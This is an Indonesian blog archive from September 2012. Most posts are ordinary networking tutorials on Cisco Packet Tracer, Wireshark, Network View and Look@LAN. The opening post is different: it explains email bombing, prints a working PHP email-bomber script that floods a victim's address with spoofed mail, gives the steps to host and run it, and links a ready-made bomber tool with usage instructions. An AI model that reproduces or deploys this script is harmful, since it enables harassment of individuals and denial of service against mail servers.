Archive for September, 2012


Email bomber merupakan software atau tool yang digunakan untuk mengirim email secara terus menerus ke suatu email tujuan, dengan jumlah email yang ditentukan bisa 10, 100, 1000, bahkan tak terbatas (unlimited). Atau juga bisa sedikit email yang dikirim, namun tiap email memiliki file attactment yang ukurannya besar. Dan sudah pasti, email sampah yang anda kirimkan akan memenuhi Inbox orang tersebut yang pada akhirnya Space/Bandhwith emailnya akan kepenuhan dan akhirnya error.

Kenapa Email Bomb bisa merusak email..?
Didalam dunia email kata Email Bomb dan Spam hampir ada kesamaan maksud dan tujuan, tetapi spam lebih menekankan pengiriman email berlebihan dan mengandung virus, tapi kedua istilah Email Bomb dan Spam mempunyai tujuan yang sama yaitu mengirim email tidak bermanfaat dengan jumlah banyak.
Email korban ada kemungkinan bisa rusak alias tidak dapat di gunakan lagi, dengan dua alasan :
1. Pertama ketika email korban dipenuhi dengan beribu email sehingga melampaui batas akibatnya Internet Service Provider (ISP) tidak dapat melanjutkan layanan, karna jumlah email yang di terima terlalu banyak  maka mail server ISP mengalami Crash/down yang berdampak tidak dapat melakukan penerimaan email atau pengiriman email.
2. Kedua apabila Email Bomb yang dikirimkan dibaca Email Spam maka akan mengalami flooding artinya emailbox account kita dibanjiri dengan email yang sama sehingga jumlahnya melampaui kuota alokasi emailbox yang disediakan. Akibatnya email-email penting tidak dapat masuk atau bahkan bisa menyebabkan hilangnya email-email penting, yang juga dapat mengakibatkan DOS (denial of service) pada mail server (yaitu keadaan di mana server tidak memberikan respon ketika diberi perintah kepadanya). Untuk mengatasinya maka Anda perlu memberi semacam filter pada email client Anda misal seperti pada Outlook Express sehingga kiriman alamat email tertentu yang telah kita spesifikasikan terlebih dahulu, akan langsung dihapus

Kita bisa membuat email bomber ini sendiri menggunakan script berikut ini.

http://art-of-hacks.cyber4rt.com/2012/07/script-email-bomber.html

Berikut contoh potongan programnya:
<html>
<body>
<form method=post action=index.php>
<pre>
<input type=hidden value=ok name=ok>
Dari : <input name=dari value=”<? echo $dari;?>”>
Kepada : <input name=kepada value=”<? echo $kepada;?>”>
Jumlah : <input name=jumlah value=”<? echo $jumlah;?>”>
Isi Pesan: <textarea name=isi><?echo $isi?></textarea><br>
<input type=submit value=Booom>
</form></pre>
<?
if ($ok==”ok”)
{
for ($i=0;$i<$jumlah;$i++)
{
$a=$i.$dari;
mail($kepada,$isi,””,”From : $a <$a>”);
}
echo (“Beres Bos”);
}
?>
</body>
</html>
Lalu simpan code tersebut dalam sebuah file, misalkan email-bomber.php
Selanjutnya masukkan file tersebut dalam webserver atau webhosting kamu.
Langkah berikutnya buka browser lalu masukkan alamat dimana kamu menyimpan file tersebut misalkan http://namadomainkamu.com/email-bomber.php
Jika alamat e-mail yang ditujukan benar maka akan secara otomatis mengirimkan pesan ke email korban.

Atau jika anda tidak mau ribet, silahkan download software yang sudah jadi di bawah ini.

download

mediafire        password  http://www.javacreativity.com

Adapun cara memakainya sebagai berikut :
 1. Masukkan smtp sever dari email yang digunakan untuk mengirim, list smtp server
2. Masukkan username dan password dari email yang digunakan untuk mengirim. Pastikan akun tidak terproteksi dengan verifikasi nomor telepon, karena software tidak dapat bekerja.
3. Isikan email tujuan, judul pesan, isi pesan dan jumlah email yang akan kita kiri. Setelah terisi semua kemudian klik Mulai.
4. Berikut hasil capture paket menggunakan wireshark ketika software bekerja. Terlihat banyak paker smtp yang lewat, ini menandakan proses pengiriman email secara berulang kali.
Silahkan dicoba di email masing2. Tolong pergunakan software ini dengan bijak, ingat ALLAH maha tau kawan2. hehehe.

Pada kesempatan kali ini saya akan membahas lebih dalam mengenai physical dan logical workspace. Packet Tracer menggunakan dua skema representasi untuk jaringan Anda: Logical Workspacedan Physical Workspace. Logical Workspace memungkinkan Anda untuk membangun topologi jaringan logis, tanpa memperhatikan skala fisik dan pengaturan. Physical Workspace memungkinkan Anda untuk mengatur perangkat fisik di kota-kota, bangunan, dan lemari kabel. Jarak dan ukuran fisik lainnya akan mempengaruhi kinerja jaringan dan karakteristik lain jika ada koneksi nirkabel yang digunakan. Pada Packet Tracer, pertama anda membangun jaringan logical anda, dan kemudian anda dapat mengaturnya dalam Physical Workspace. Sebagian besar waktu Anda akan dihabiskan bekerja di Logical Workspace. Uji koneksi jaringan seperti ping dan pengiriman paket hanya bisa dilakukan di Logical Workspace.

1. Buat konfigurasi seperti biasa, yang telah dibahas pada artikel sebelumnya.

2. Set background pada logical workspace, dengan cara klik pojok kanan atas seperti gambar di bawah ini.

3. Akan muncul dialog box seperti berikut, kemudian klik browse, pilih lokasi gambar, klik open, lalu klik apply.

4. Apabila berhasil, background akan berubah seperti di bawah ini. Atur perangkat agar sesuai dengan penempatan pada kondisi real sesuai dengan denah yang telah disiapkan.

5. Selanjutnya kita akan bekerja pada physical workspace. Klik pojok kiri atas seperti berikut.

6. Maka workspace akan berpindah dari logical workspace ke physical workspace. Misal anda ingin membangun jaringan di kantor, maka anda bisa memilih corporate office sebagai workspace, klik seperti gambar di bawah. Gambar lingkaran di bawah ini merupakan coverage area dari access point yang anda konfigurasi pada logical workspace.

7. Anda juga dapat mengganti background pada workspace corporate office, dengan cara yang sama pada saat berada pada logical workspace.

8. Kemudian sesuaikan kebutuhan perangkat dengan ruangan yang ada. Apabila anda ingin menyatukan seluruh perangkat dari setiap ruangan , anda dapat membuat closet baru. Dengan klik toolbar new closet.

9. Klik new closet yang telah dibuat, maka akan berpindah pada dalam closet dan akan terdapat perangkat yang telah kita buat di logical workspace.

10. Atur perangkat sesuai dengan tiap ruang yang telah kita rencanakan sebelumnya, klik move object lalu klik perangakat yang akan kita pindah dan pilih tempat tujuan perangkat itu dipindah.

11. Inilah contoh hasil setelah diatur sedemikian rupa.

Demikian sedikit gambaran bila teman – teman ingin memaksimalkan logical dan physical workspace pada packet tracer. Semoga bermanfaat dan silahkan dicoba. Terima kasih sudah membaca, SEMANGAT !!!

Fitur Fitur Terbaru dari Wireshark

1.Dalam inspeksi dari ratusan protokol, akan ditambahkan dengan lebih setiap saat
2.Tinggal menangkap dan analisis offline
3.Standar dengan tiga panel paket Browser
4.Multi-platform: Berjalan pada Windows, Linux, OS X, Solaris, FreeBSD, NetBSD, dan banyak lainnya 5.Jaringan data yang diambil dapat diakses melalui GUI, atau melalui utilitas TShark TTY-mode
6.Filter layar paling kuat di industri
7.Kaya VoIP analisis
8.Membaca / menulis format file menangkap banyak berbeda
9.Ambil file yang dikompresi dengan gzip dapat didekompresi dengan cepat Data hidup dapat dibaca dari Ethernet, IEEE 802.11, PPP / HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, FDDI, dan lain-lain (tergantung pada platfrom Anda)
10.Dekripsi dukungan untuk protokol, termasuk IPsec, ISAKMP, Kerberos, SNMPv3, SSL / TLS, WEP, dan WPA/WPA2
11.Mewarnai aturan dapat diterapkan ke daftar paket untuk cepat, analisis intuitif
12.Output dapat diekspor ke XML, PostScript ®, CSV, atau teks biasa

http://www.cybercnesoftware.com/2012/04/wireshark-167-32-bit.html

Cara menggunakan wireshark secara sederhana.

Tampilan awal wireshark

.

Menu2 wireshark untuk memulai proses capture. Pilih interface yang terkoneksi dengan jaringan, bisa dilihat dari packet yang berubah2. Pada gambar di bawah interface kedua yang terhubung ke jaringan. Klik start untuk memulai proses capture data.

Setelah start akan muncul gambar sebagai berikut, ini mengindikasikan bahwa wireshark telah bekerja daan paket – paket data yang lewat di jaringan kita telah tampak.
Gambar diatas menunjukkan paket2 yang lewat pada jaringan kita, tiap warna mempunyai identitas untuk protokol yang lewat. Hijau untuk http, merah tcp, abu – abu arp, dll.

Untuk menghentikan proses capture, klik icon dibawah ini.

 Setelah proses berhenti, kita bisa menyimpan hasil capture dengan mengklik icon disket seperti dibawah ini.

Simpan file dengan format yang kita butuhkan, wireshark mendukung berbagai macam save format seperti dibawah ini.Pilih directory untuk menyimpan file, lalu klik save.

Cukup jelas kawan2?? Gampang kan?? Semoga bermanfaat..

Untuk lebih jelas mengenai cara instalasi dan download softwarenya klik link dibawah ini

Wireshark merupakan aplikasi perangkat lunak (software) yang digunakan untuk melihat, mengcapture dan menganalisa paket – paket data yang lewat pada jaringan kita. Sangat mudah dipakai karena meggunakan GUI dan merupakan freeware (software gratis). Sering digunakan oleh analisis jaringan komputer, untuk menganalisa protokol seperti SNMP, ARP, ICMP, HTTP. Apabila terjadi kelambatan dalam jaringan komputer, misal proses transfer file yang lambat antar host, aplikasi yang lambat dalam mengirimkan data, dll. Kita dapat mengcapture paket – paket data yang lewat untuk kemudian di analisa dan menemukan penyebab kelambatan, seperti broadcast storming.

Berikut cara instalasi dan penggunaan wireshark.

  1. Double clik file instalasai, akan muncul dialog box seperti berikut. Kemudian klik next.
  2. Akan muncul license agreement lalu klik “I agree”.
  3. Pilih komponen yang akan di install, pilih semua lalu klik next.
  4. Pilih additional tasks, yang wajib diisi adalah file extension. Kemudian klik next.
  5. Pilih di folder mana wireshark akan diinstall, klik next.
  6. Diperlukan install wincap untuk dapat mengcapture network data yang lewat. Pilih install.
  7. Wireshark sedang melakukan proses instalasi.
  8. Instalasi wireshark selesai, lalu klik next.
  9. Apabila anda ingin menjalankan wireshark, centang “run wire shark”. Klik finish.
  10. Akan muncul dialog box instalasi wincap, klik next.
  11. Pilih next untuk memulai instalasi wincap.
  12. Tampil license agreement wincap, lalu pilih “i agree”
  13. Centang “automatically start….” untuk menjalankan wincap secara otomatis saat PC di reboot. Klik install.
  14. Instalasi wincap selesai, klik finish.

Berminat untuk mencobanya saudara2?? Silahkan download langsung softwarenya disini 😀

Pgn tahu cara pengunaan dan fitur2nya?? Cek this out

Dalam postingan sebelumnya udah dibahas mengenai cara instalasi dan penggunaan awal network view, pada kesempatan kali ini ane bakal bahas mengenai fitur – fitur yang dimiliki oleh network view.

Selain bisa untuk mengetahui siapa saja yang terkoneksi dengan jaringan kita, software ini juga memiliki fitur – fitur lain. Yaitu.

1. VNC (Virtual Network Computing)

Merupakan software yang digunakan untuk meremote komputer lain. Kita dapat berinteraksi dan berkomunikasi dengan komputer lain melalui jaringan, sehingga kita dapat mengendalikan suatu komputer dari jarak jauh melalui komputer lain.

2. Netmeeting

adalah perangkat lunak (software) yang dimiliki oleh windows, bisa digunakan untuk chatting, call, share program, whiteboard, transfer files.

3. Telnet (Telecommunication Network)

protokol jaringan yang digunakan di internet atau jaringan lokal, menyediakan komunikasi dua arah berbasis teks atau terminal emulator antara client dan server. Dengan kata lain, Telnet memungkinkan kita untuk mengendalikan, memberi perintah, menjalankan perintah, merubah konfigurasi, meremote komputer lain (server) melalui komputer di depan meja kita sendiri (client). http://alweecomputer.com/2012/06/02/sekilas-tentang-telnet.html

4. FTP (File Transfer Protokol)

adalah suatu protokol yang berfungsi untuk tukar-menukar file dalam suatu network yang mensupport TCP/IP protokol. Dua hal penting yang ada dalam FTP adalah FTP server dan FTP Client. FTP server menjalankan software yang digunakan untuk tukar menukar file, yang selalu siap memberian layanan FTP apabila mendapat request dari FTP client. FTP client adalah komputer yang merequest koneksi ke FTP server untuk tujuan tukar menukar file (mengupload atau mendownload file). http://aminudin.net/ftp-server/

5. PING

adalah sebuah protokol yang digunakan untuk mengecek apakah suatu alamat tersebut sudah terkoneksi ke jaringan. Apabila sudah terkoneksi akan muncul kata “reply” dan apabila muncul kata “request time out” atau “destination host unreachable” itu artinya belum terjadi koneksi antara komputer kita dengan alamat tujuan. Paket yang dikirim akan adalah ICMP (Internet Control Message Protocol).

6. MIB Browser (Management Information Base)

Tool yang digunakan untuk mengatur device jaringan SNMP yang tersedia, memberikan kemudahan untuk mengeluarkan permintaan MIB untuk mendapatakan data agen atau membuat perubahan pada agen yang bersangkutan.

7. WMI Browser (Windows Management Instrumentation)

sistem operasi Microsoft Windows. WMI bukan hanya sebuah komponen tapi merupakan teknologi inti dan standar untuk pengelolaan Windows. WMI menjadi dasar dalam pemantauan dan pengontrolan yang konsisten dan seragam dalam pengelolaan sistem secara keseluruhan di dalam lingkungan Windows. WMI memungkinkan administrator sistem untuk menarik data, merubah dan memantau konfigurasi pada desktop dan server, aplikasi-aplikasi, jaringan dan komponen-komponen lainnya. Pada penerapannya, seorang programer dapat membuat sebuah program aplikasi dengan memanfaatkan WMI Scripting Library untuk bekerja dengan objek-objek WMI guna membuat berbagai perangkat manajemen dan monitor sistem. http://www.tobuku.com/docs/MAI01-Mengenal%20Windows%20Management%20Instrumentation.pdf

Nah itu tadi fitur – fitur yang disediakan oleh Network View, silahkan dicoba sendiri gan biar lebih mantep dan jelas 😀

Network view adalah salah satu dari sekian banyak software yang digunakan untuk monitoring jaringan komputer, dapat melihat komputer mana saja yang terkoneksi dengan jaringan kita.


Dapat menampilkan mana saja host yang akrif dalam bentuk gambar visual seperti topologi jaringan, bisa berupa server, webcam, AP, workstation, terminal, UPS, switch, linux / unix, SNMP device.
Network view menyediakan beberapa fasilitas diantaranya View info, Modify, Edit note, MIB Browser, WMI Browser, Internet Browser, Port Scanner, Ping, Ftp, Telnet, VNC, Terminal Service dan NetMeeting.

Berminat coba gan? silahkan download dimari

Selanjutnya ane akan melakukan instalasi software network view, gampang kok tinggal di next2 aja seperti biasa.

  1. Double klik file instalasi, akan muncul dialog box seperti dibawah. Klik next.
  2. Muncul license agrement, pilih “accept”. Lalu klik next.
  3. Tampak information mengenai network view, untuk melanjutkan instalasi klik next.
  4. Pilih dimana software akan diinstal, kemudian klik next.
  5. Software akan membuat shortcut pada folder start menu, kemudian klik next.
  6. Network view siap diinstal, klik install untuk melakukan proses instalasi.
  7. Akan muncul pemberitahuan bahwa software yang digunakan trial, klik next untuk menyelesaikan instalasi.
  8. Software instlasi telah berhasil diinstal, klik finish.
  9. Tampilan awal software network view.
  10. Klik icon network view yang ada di pojok kiri atas (new), lalu akan muncul dialog box seperti dibawah ini. Masukkan title, description, author, dari jaringan yang akan kita tinjau. Isikan type discover, sebagai contoh kita discover berdasarkan range.
  11. Software mulai melakukan scan pada network range yang kita pilih, mulai dari scan DNS, netbios, SNMP, port, dll.
  12. Setelah selesai melakukan scan, akan muncul network yang berada pada jaringan kita. Seperti gambar dibawah ini.

Nah itu tadi sedikit gambaran dan instalasi tentang software Network View, cara penggunaan dan fitur2nya. Semoga bermanfaat, terima kasih.

Myspace Marquee Text - http://www.marqueetextlive.com

 

SEMANGAT PAGI teman – teman !!!!

Melanjutkan postingan sebelumnya pada Merancang Jaringan Small Office , kali ini saya akan membahas setting konfigurasi perangkatnya.

1. Langkah awal buat desain jaringan seperti berikut.

2. Klik pada router0, dan masuk tab CLI. Set konfigurasi seperti dibawah.

Lantai 2 menggunakan network 20.20.20.0/27 dan terhubung melalui interface fast ethernet 0/1

Lantai 1 menggunakan network 10.10.10.0/27 dan terhubung melalui interface fast ethernet 0/0

line vty 0 4 = diset agar router dapat ditelnet, “0 4” menunjukan berapa maksimal telnet yang dapat dilakukan secara bersamaan.

enable secret cisco = apabila kita akan masuk ke enable, akan diminta password. Dan password yang telah diset adalah “cisco”

no shut = digunakan untuk menghidupkan interface tersebut.

3. Set IP pada End Device (PC dan Printer) berada dalam satu network yang sama, dan gateway menggunakan IP pada interface router yang terhubung.

4. Apabila jumlah host banyak, tentunya cukup merepotkan untuk mengeset IP satu persatu pada end device. Untuk itu kita bisa menconfig router agar berperan sebagai DHCP sever. Sebagai contoh kita akan mengkonfigurasi interface yang berada di lantai 2.

5. Masuk ke IP configuration end device dan pilih DHCP. Tunggu beberapa saat dan PC akan mendapatkan IP dari router.

6. Selanjutnya lakukan konfigurasi pada Access Point, kondisikan AP untuk mendapat IP DHCP pada router. Set IP address AP yang satu jaringan dengan network yang berada di lantai 2. Matikan fungsi DHCP server pada AP, karena end device yang terhubung ke AP telah mendapat DHCP dari router yang telah dikonfigurasi sebelumnya. Lalu klik save setting. Seperti gambar dibawah ini

7. Setting end device wireless agar bisa terkoneksi ke AP

  •     Pilih laptop, lalu ganti module menjadi wireless card. Agar modul bisa diganti matikan power laptop terlebih dahulu.

  •    Klik tab Desktop, dan pilih PC Wireless lalu klik connect. Akan muncul SSID dari AP lalu klik connect. Bila telah terjadi koneksi maka akan muncul keterangan “Adapter is Active”

8. Untuk memastikan apakah semua jaringan terkoneksi, lakukan tes ping dari Laptop ke printer / PC yang berada dalam network yang sama dan network berbeda.

Sekian dulu sedikit penjelasan dalam melakukan konfigurasi perangakat pada Cisco Packet Tracer, semoga bermanfaat dan memberi sedikit pencerahan buat semua 😀

Packet Tracer adalah simulator alat-alat jaringan Cisco yang sering digunakan sebagai media pembelajaran dan pelatihan, dan juga dalam bidang penelitian simulasi jaringan komputer. Program ini dibuat oleh Cisco Systems dan disediakan gratis untuk fakultas, siswa dan alumni yang telah berpartisipasi di Cisco Networking Academy. Tujuan utama Packet Tracer adalah untuk menyediakan alat bagi siswa dan pengajar agar dapat memahami prinsip jaringan komputer dan juga membangun skill di bidang alat-alat jaringan Cisco.

Fitur Packet Tracer

Packet Tracer terbaru yaitu versi 5.3.3. Dalam versi ini dapat mensimulasikan Application Layer protocols, Routing dasar RIP, OSPF, and EIGRP, sampai tingkat yang dibutuhkan pada kurikulum CCNA yang berlaku, sehingga bila dilihat sekilas software ini bertujuan untuk kelas CCNA. Taget Packet Tracer yaitu menyediakan simulasi jaringan yang real, namun terdapat beberapa batasan berupa penghilangan beberapa perintah yang digunakan pada alat aslinya yaitu pengurangan command pada Cisco IOS. Dan juga Packet Tracer tidak bisa digunakan untuk memodelkan jaringan produktif/aktif. Dengan keluarnya versi 5.3, beberapa fitur ditambahkan, termasuk fitur BGP. BGP memang bukan termasuk kurikulum CCNA, akan tetapi termasuk kurikulum CCNP.

Digunakan di pendidikan

Packet Tracer biasanya digunakan siswa Cisco Networking Academy melalui sertifikasi Cisco Certified Network Associate (CCNA). Dikarenakan batasan pada beberapa fiturnya, software ini digunakan hanya sebagai alat bantu belajar, bukan seabagai pengganti Cisco routers dan switches.

http://id.wikipedia.org/wiki/Packet_Tracer

Langsung saja to the point , hal – hal apa saja yang perlu dipersiapkan dalam merancang jaringan komputer

1. Menentukan perangkat yang digunakan

Contoh untuk router kita dapat menggunakan Mikrotik RB1100 (1 buah) seharga Rp 4.261.000, spesifikasi

Switch menggunakan Cisco catalyst 2950 seharga $995 , (2 buah)

Access Point menggunakan Router Board Mikrotik 951 seharga Rp 385.000 (1 buah)

Laptop Asus A43E-VX325D (8 buah) seharga Rp 4.600.000, spesifikasi

PC HP Pavilion P2-1150L (11 buah) seharga Rp 5.350.000

IP printer EPSON TM-T81 (3 buah) seharga Rp 2.280.300

Koneksi internet Speedy 1Mbps (2 buah) Rp 645.000/bulan

Server IBM System x3100M4-62A (1 buah) Rp 10.857.000

Kabel UTP cat5e (2 roll) Rp 1.060.000

2. Gambar denah ruangan sesuai dengan aslinya untuk mengetahui dimana perangkat – perangkat tersebut akan kita letakkan.

3.  Mendesain dan merancang jaringan komputer menggunakan Cisco Packet Tracer, hal ini dilakukan untuk mensimulasikan keadaan sebenarnya mulai dari arsitektur jaringan hingga konfigurasinya.

Sehingga saat kita melakukan instalasi dan konfigurasi perangkat di lapangan, kita sudah memiliki gambaran dan panduan, untuk memudahkan dan mempercepat proses instalasi.

Untuk konfigurasi router, switch, dan access point bisa dilihat dipostingan setelah ini, atau bisa klik disini.

Tutorial Install LOOK@LAN

Double clik file instalasi

Akan muncul dialog box seperti dibawah ini, kemudian pilih Next.

Pilih bahasa yang akan anda install dan gunakan (disini saya memilih English). Kemudian klik Next.

Akan muncul license Agreement, pilih “I agree….” untuk melanjutkan instalasi.

Isikan nama dan company sesuai keinginan dan kebutuhan, lalu klik Next.

Pilih dimana file akan diinstal, pada gambar dibawah aplikasi akan diinstal pada C:\Program Files\Look@LAN. Gambar dibawah juga ditampilkan kapasitas hardisk yang dibutuhkan. Klik Next untuk melanjutkan instalasi.

Instalasi akan menambahkan shortcut “Start All Program” , default yang diberikan seperti gambar dibawah. Pilih next untuk melanjutkan instalasi.

File telah siap untuk diinstal ke komputer, klik next untuk melanjutkan instalasi.

Proses instalasi dan pencopyan file pada komputer sedang berlangsung, tunggu hingga proses selesai.

Centang cek box dibawah  bila anda menggunakan Winsocks Proxy, bila tidak kosongi saja dan klik next untuk melanjutkan instalasi.

Software look@lan sudah berhasil diinstal, klik next untuk menjalankan program.

Centang program mana yang akan anda jalankan, pilih keduanya untuk memonitoring LAN dan HOST. Lalu klik finish.

Pilih host terlebih dahulu, dengan mengklik “add a new host to monitor”

Klik “scan” untuk mendapatkan port dari host.

Tampilan software look@LAN pertama kali, pilih Create New Profile untuk memulai monitoring jaringan.

Isikan profile name, kemudian pilih speed dalam koneksi yang kita gunakan. Pilih interface yang kita gunakan untuk memonitor, dan pilih IP range yang akan kita monitor. Klik next maka software akan melakukan scanning.

Contoh hasil scan network.

Belum punya software look@lan? Klik disini untuk download

Look@LAN adalah software yang digunakan untuk memonitor, memantau jaringan yang terkoneksi dengan anda, dengan hanya beberapa klik saja. Sangat mudah digunakan dan sangat cepat dalam menemukan host yang aktif pada jaringan anda.

Fitur Utama:
Deteksi otomatis dari pengaturan jaringan
Pemindaian dari satu atau lebih Scan-Ranges
Manajemen Lengkap Profil Jaringan
Pindai cepat dalam menemukan host
Konfigurasi Jaringan Otomatis dan Manual
Statistik dan Grafik jaringan
Profil Ekspor (teks dan HTML)
Trapping Lanjutan
Jaringan Log
Jaringan Tree View
Pindai tunggal host
Pelaporan

Tertarik? Silahkan download dimari gan download

Ingin tau cara instalasinya? Klik disini